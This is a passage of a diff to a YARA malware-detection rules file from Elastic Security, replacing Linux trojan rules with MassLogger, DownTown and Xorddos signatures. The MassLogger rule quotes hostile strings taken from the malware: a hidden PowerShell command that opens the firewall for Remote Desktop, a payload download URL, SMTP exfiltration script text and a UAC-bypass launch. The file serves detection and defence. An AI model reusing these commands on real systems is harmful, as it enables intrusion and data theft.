+		fingerprint = "14baf456521fd7357a70ddde9da11f27d17a45d7d12c70a0101d6bdc45e30c74"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -97975,115 +102362,122 @@ rule ELASTIC_Linux_Trojan_Sshdoor_97F92Ff7 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { C0 75 C3 48 8B 44 24 08 64 48 33 04 25 28 00 00 00 75 07 48 83 }
+		$a = { 2E 20 69 66 20 74 68 69 73 20 77 6F 72 6B 65 64 2C 20 79 6F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Sshdoor_5B78Aa01 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Masslogger_511B001E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Sshdoor (Linux.Trojan.Sshdoor)"
+		description = "Detects Windows Trojan Masslogger (Windows.Trojan.MassLogger)"
 		author = "Elastic Security"
-		id = "5b78aa01-c5d4-4281-9a2e-e3f0d3df31d3"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "511b001e-dc67-4e45-9096-0b01101ca0ab"
+		date = "2022-03-02"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Sshdoor.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2e1d909e4a6ba843194f9912826728bd2639b0f34ee512e0c3c9e5ce4d27828e"
-		logic_hash = "bcf285ac220b2b2ed9caf0943fa22ee830e5b26501c54a223e483a33e2fc63c0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_MassLogger.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "177875c756a494872c516000beb6011cec22bd9a73e58ba6b2371dba2ab8c337"
+		logic_hash = "5abac5e32e55467710842e19c25cab5c7f1cdb0f8a68fb6808d54467c69ebdf6"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "19369c825bc8052bfc234a457ee4029cf48bf3b5b9a008a1a6c2680b97ae6284"
+		fingerprint = "14ec9c32af7c1dd4a1f73e37ef9e042c18d9e0179b0e5732752767f93be6d4e2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 11 75 39 41 0F B6 77 01 4C 89 E2 40 84 F6 74 2C 40 80 FE 5A }
+		$a1 = "ExecutionPolicy Bypass -WindowStyle Hidden -Command netsh advfirewall firewall add rule name='allow RemoteDesktop' dir=in protoc" wide
+		$a2 = "https://raw.githubusercontent.com/lisence-system/assemply/main/VMprotectEncrypt.jpg" wide fullword
+		$a3 = "ECHO $SMTPServer  = smtp.gmail.com >> %PSScript%" wide fullword
+		$a4 = "Injecting Default Template...." wide fullword
+		$a5 = "GetVncLoginMethodAsync" ascii fullword
+		$a6 = "/c start computerdefaults.exe" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Sshdoor_1B443A9B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Downtown_901C4Fdd : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Sshdoor (Linux.Trojan.Sshdoor)"
+		description = "Detects Windows Trojan Downtown (Windows.Trojan.DownTown)"
 		author = "Elastic Security"
-		id = "1b443a9b-2bd2-4b63-baaa-d66ca43ba521"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Sshdoor.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a33112daa5a7d31ea1a1ca9b910475843b7d8c84d4658ccc00bafee044382709"
-		logic_hash = "4afcd7103a14d59abc08d9e03182a985e3d0250c09aad5e81fd110c6a95f29e0"
+		id = "901c4fdd-858c-4ad8-be12-f88799d591b9"
+		date = "2023-05-10"
+		modified = "2023-06-13"
+		reference = "https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_DownTown.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "6368d37fa9ba4e32131e16bceaee322f2fa8507873d01ebd687536e593354725"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ff44d7b3c8db5cd0d12a99c2aafb1831f63c6253fe0e63fb7d2503bc74e6fca9"
+		fingerprint = "1ef6dfd9be1e6fa2d1c6b5ce32ad13252f5becf709493a7cceff3519750e0b1e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 24 10 44 39 F8 7F B4 3B 44 24 04 7C AE 3B 44 24 0C 7E 10 41 }
+		$a1 = "SendFileBuffer error -1 !!!" fullword
+		$a2 = "ScheduledDownloadTasks CODE_FILE_VIEW " fullword
+		$a3 = "ExplorerManagerC.dll" fullword
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Linux_Trojan_Sshdoor_7C36D3Dd : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Downtown_145Ecd2F : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Sshdoor (Linux.Trojan.Sshdoor)"
+		description = "Detects Windows Trojan Downtown (Windows.Trojan.DownTown)"
 		author = "Elastic Security"
-		id = "7c36d3dd-734f-4485-85c5-906c5ecade77"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Sshdoor.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "def4de838d58c70f9f0ae026cdad3bf09b711a55af97ed20804fa1e34e7b59e9"
-		logic_hash = "c1b61fce7593a44e47043fac8a6356f9aa9e74b66db005400684a5a79b69a5cd"
+		id = "145ecd2f-d012-4566-a2e9-696cdbd793ce"
+		date = "2023-08-23"
+		modified = "2023-09-20"
+		reference = "https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_DownTown.yar#L23-L44"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "744a51c5317e265177185d9d0b8838a8fc939b4c56cc5e5bc51d5432d046d9f1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a644708905c97c784f394ebbd0020dd3b20b52b4f536c844ca860dabea36ceb7"
+		fingerprint = "d755ad4a24b390ce56d4905e40cec83a39ea515cfbe7e1a534950ca858343e70"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 24 20 48 89 E7 C1 EE 03 83 E6 01 FF D3 8B 54 24 20 31 C0 BE 20 00 }
+		$a1 = "DeletePluginObject"
+		$a2 = "GetPluginInfomation"
+		$a3 = "GetPluginObject"
+		$a4 = "GetRegisterCode"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Sshdoor_3E81B1B7 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_2Aef46A6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Sshdoor (Linux.Trojan.Sshdoor)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "3e81b1b7-71bd-4876-a616-ca49ce73c2da"
+		id = "2aef46a6-6daf-4f02-b1b4-e512cea12e53"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Sshdoor.yar#L81-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "def4de838d58c70f9f0ae026cdad3bf09b711a55af97ed20804fa1e34e7b59e9"
-		logic_hash = "54253df560e6552a728dc2651c557bc23ae8ec4847760290701438821c52342e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L1-L18"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "d2c88774eb5227cf2d133644c648ebe5ba40c7e0acb2b432bc6a1a9da10bfb3f"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "7849bb7283adb25c2ee492efd8d9b2c63de7ae701a69e1892cdc25175996b227"
+		fingerprint = "e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -98091,28 +102485,28 @@ rule ELASTIC_Linux_Trojan_Sshdoor_3E81B1B7 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 24 24 48 89 E7 C1 EE 05 83 E6 01 FF D3 8B 54 24 28 31 C0 BE 5A 00 }
+		$a = { 25 64 2D 2D 25 73 5F 25 64 3A 25 73 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Sshdoor_Cde7Cfd4 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_A6572D63 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Sshdoor (Linux.Trojan.Sshdoor)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "cde7cfd4-a664-481d-8865-d44332c7f243"
-		date = "2022-01-05"
-		modified = "2022-01-26"
+		id = "a6572d63-f9f3-4dfb-87e6-3b0bafd68a79"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Sshdoor.yar#L101-L119"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cd646a1d59c99b9e038098b91cdb63c3fe9b35bb10583bef0ab07260dbd4d23d"
-		logic_hash = "47967d90a6dbb4461e22998aff5b7e68b4b9007ea7e5e30574ae1f1cfcbaa573"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L20-L38"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2ff33adb421a166895c3816d506a63dff4e1e8fa91f2ac8fb763dc6e8df59d6e"
+		logic_hash = "237392fe51c8528cb5ed446facfcd3535b8e1d594d77a542361873bd52426fa7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "65bf31705755b19b1c01bd2bcc00525469c8cd35eaeff51d546a1d0667d8a615"
+		fingerprint = "fd32a773785f847cdd59d41786a8d8a7ba800a71d40d804aca51286d9bb1e1f0"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -98120,28 +102514,27 @@ rule ELASTIC_Linux_Trojan_Sshdoor_Cde7Cfd4 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 75 CC 8B 73 08 48 8B 54 24 08 48 83 C4 18 5B 5D 41 5C 41 5D 4C }
+		$a = { C8 0F B6 46 04 0F B6 56 05 C1 E0 08 09 D0 89 45 CC 0F B6 46 06 0F B6 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Sshdoor_32D9Fb1B : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_E41143E1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Sshdoor (Linux.Trojan.Sshdoor)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "32d9fb1b-79d7-4bd1-bbe5-345550591367"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "e41143e1-52d9-45c7-b19f-a5475b18a510"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Sshdoor.yar#L121-L139"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ee1f6dbea40d198e437e8c2ae81193472c89e41d1998bee071867dab1ce16b90"
-		logic_hash = "35ef4f3970484a46d705e6976a9932639d576717454b8e07ed24a72114d9c42d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L40-L57"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "4564bf2019ff5086071ff147c9cf1e16b8627ce5d70cbe8370aecbd518d94b57"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fa28250df6960ee54de7b0bacb437b543615a241267e34b5a422f231f5088f10"
+		fingerprint = "f621a2e8c289772990093762f371bb6d5736085695881e728a0d2c013c2ad1d4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -98149,28 +102542,28 @@ rule ELASTIC_Linux_Trojan_Sshdoor_32D9Fb1B : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 8B 04 25 28 00 00 00 48 89 44 24 08 31 C0 66 0F EF C0 48 85 F6 }
+		$a = { 73 1E 80 3C 06 00 8D 14 30 8D 4C 37 FF 74 0D EB 36 0F B6 42 01 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Sshdoor_7C3Cfc62 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_0Eb147Ca : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Sshdoor (Linux.Trojan.Sshdoor)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "7c3cfc62-aa90-4c28-b428-e2133a3f10f8"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "0eb147ca-ec6d-4a6d-b807-4de8c1eff875"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Sshdoor.yar#L141-L159"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ee1f6dbea40d198e437e8c2ae81193472c89e41d1998bee071867dab1ce16b90"
-		logic_hash = "da9804489f30b575d2b459f82570f5df07c1777f105cd373c4268f8a31fa4e43"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L59-L77"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "45f25d2ffa2fc2566ed0eab6bdaf6989006315bbbbc591288be39b65abf2410b"
+		logic_hash = "b20479af0767e5e8579489b5298648b9cc84b3e0778f58d8dc9deb252d0f4806"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8085c47704b4d6cabad9d1dd48034dc224f725ba22a7872db50c709108bf575d"
+		fingerprint = "6a1667f585a7bee05d5aece397a22e376562d2b264d3f287874e5a1843e67955"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -98178,28 +102571,27 @@ rule ELASTIC_Linux_Trojan_Sshdoor_7C3Cfc62 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 55 48 8D 6F 50 53 49 89 FC 48 89 FB 48 83 EC 10 64 48 8B 04 25 28 00 }
+		$a = { 83 45 F0 01 8B 45 F0 89 45 E8 8B 45 E8 83 C4 18 5F 5D C3 55 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Shellbot_65Aa6568 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_884Cab60 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Shellbot (Linux.Trojan.Shellbot)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "65aa6568-491a-4a51-b921-c6c228cfca11"
+		id = "884cab60-214f-4879-aa51-c00de1a5ffc4"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Shellbot.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "457d1f4e1db41a9bdbfad78a6815f42e45da16ad0252673b9a2b5dcefc02c47b"
-		logic_hash = "46558801151ddc2f25bf46a278719f027acca2a18d2a9fcb275f4d787fbb1f0b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L79-L96"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "139c5c1c3816047b595deb6a8873b2964e91393642b93536cd102af9a6033e7c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2cd606ecaf17322788a5ee3b6bd663bed376cef131e768bbf623c402664e9270"
+		fingerprint = "47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -98207,28 +102599,28 @@ rule ELASTIC_Linux_Trojan_Shellbot_65Aa6568 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 72 00 73 74 72 63 6D 70 00 70 61 6D 5F 70 72 6F 6D 70 74 00 }
+		$a = { E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Presenoker_3Bb5533D : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_Ba961Ed2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Presenoker (Linux.Cryptominer.Presenoker)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "3bb5533d-4722-4801-9fbb-dd2c916cffc6"
+		id = "ba961ed2-b410-4da5-8452-a03cf5f59808"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Presenoker.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bbc155c610c7aa439f98e32f97895d7eeaef06dab7cca05a5179b0eb3ba3cc00"
-		logic_hash = "13bf69ea6bc7df5ba9ebffe67234657f2ecab99e28fd76d0bbedceaf9706a4dd"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L98-L116"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "45f25d2ffa2fc2566ed0eab6bdaf6989006315bbbbc591288be39b65abf2410b"
+		logic_hash = "5b486c698c9c61dc126be5dbeea862b1f9bb5a6859c02a0fff125a9890147a6b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a3005a07901953ae8def7bd9d9ec96874da0a8aedbebde536504abed9d4191fd"
+		fingerprint = "fff4804164fb9ff1f667d619b6078b00a782b81716e217ad2c11df80cb8677aa"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -98236,59 +102628,56 @@ rule ELASTIC_Linux_Cryptominer_Presenoker_3Bb5533D : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 47 10 74 72 F3 0F 6F 00 66 0F 7E C2 0F 29 04 24 85 D2 F3 0F 6F }
+		$a = { F8 C9 C3 55 89 E5 83 EC 38 C7 45 F8 FF FF FF FF C7 45 FC FF FF }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Powerprofiler_2Eedff78 : FILE
+rule ELASTIC_Linux_Trojan_Xorddos_2084099A : FILE MEMORY
 {
 	meta:
-		description = "Name: AMDPowerProfiler.sys, Version: 6.1.0.0"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "2eedff78-aa9b-4dab-b5f4-187bd2fc9a0c"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "2084099a-1df6-4481-9d13-3a5bd6a53817"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_PowerProfiler.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0af5ccb3d33a9ba92071c9637be6254030d61998733a5eb3583e865e17844e05"
-		logic_hash = "c4a7ae2ffdf70984cea5b543af93b202c78b6108da1e442186d24071b44d6259"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L118-L135"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "6674be1438ec290550c9586afda335755279a4aedadde455ffc0b41d1a0e634d"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "1273f1cd2de84076be28d7fb5fdac5fc9ab0de6f4e18915bdce6333181983cfb"
-		threat_name = "Windows.VulnDriver.PowerProfiler"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "dfb813a5713f0e7bdb5afd500f1e84c6f042c8b1a1d27dd6511dca7f2107c13b"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 41 00 4D 00 44 00 50 00 6F 00 77 00 65 00 72 00 50 00 72 00 6F 00 66 00 69 00 6C 00 65 00 72 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x01][\x00-\x00])([\x00-\x06][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x05][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x06][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+		$a = { 8B 45 FC 8B 50 18 8B 45 08 89 50 18 8B 45 FC 8B 40 08 85 C0 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Linux_Backdoor_Python_00606Bac : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_61C88137 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Backdoor Python (Linux.Backdoor.Python)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "00606bac-83eb-4a58-82d2-e4fd16d30846"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "61c88137-02f6-4339-b8fc-04c72a5023aa"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Backdoor_Python.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b3e3728d43535f47a1c15b915c2d29835d9769a9dc69eb1b16e40d5ba1b98460"
-		logic_hash = "92ad2cf4aa848c8f3bcedd319654bf5ef873cd4daba62572381c7e20f0296b82"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L137-L155"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "479ef38fa00bb13a3aa8448aa4a4434613c6729975e193eec29fc5047f339111"
+		logic_hash = "e999355606ee7389be160ce3e96c6a62d7f9132b95cfec7d9f8b1a670551e6b8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cce1d0e7395a74c04f15ff95f6de7fd7d5f46ede83322b832df74133912c0b17"
+		fingerprint = "c09b31424a54e485fe5f89b4ab0a008df6e563a75191f19de12113890a4faa39"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -98296,222 +102685,202 @@ rule ELASTIC_Linux_Backdoor_Python_00606Bac : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { F4 01 83 45 F8 01 8B 45 F8 0F B6 00 84 C0 75 F2 83 45 F8 01 8B }
+		$a = { 24 8B C1 8B 0C 24 8D 64 24 FC 89 0C 24 8B 4D E8 87 0C 24 96 8D 64 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_PUP_Generic_198B73Aa : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_Debb98A1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Pup Generic (Windows.PUP.Generic)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "198b73aa-d7dd-4f28-bf1c-02672a03d031"
-		date = "2023-07-27"
-		modified = "2023-09-20"
+		id = "debb98a1-c861-4458-8bff-fae4f00a17dc"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_PUP_Generic.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "a584c34b9dfc2d78bf8a1e594a2ed519d20088184ce1df09e679b2400aa396d3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L157-L175"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "494f549e3dd144e8bcb230dd7b3faa8ff5107d86d9548b21b619a0318e362cad"
+		logic_hash = "c2e43818fcf18d34a6a3611aaaafde31d96b41867d15dfdb1dec20203f5907eb"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "23c11df4ce2ec2d30b1916b73fc94a84b6a817c1686905fd69fa7a6528798d5f"
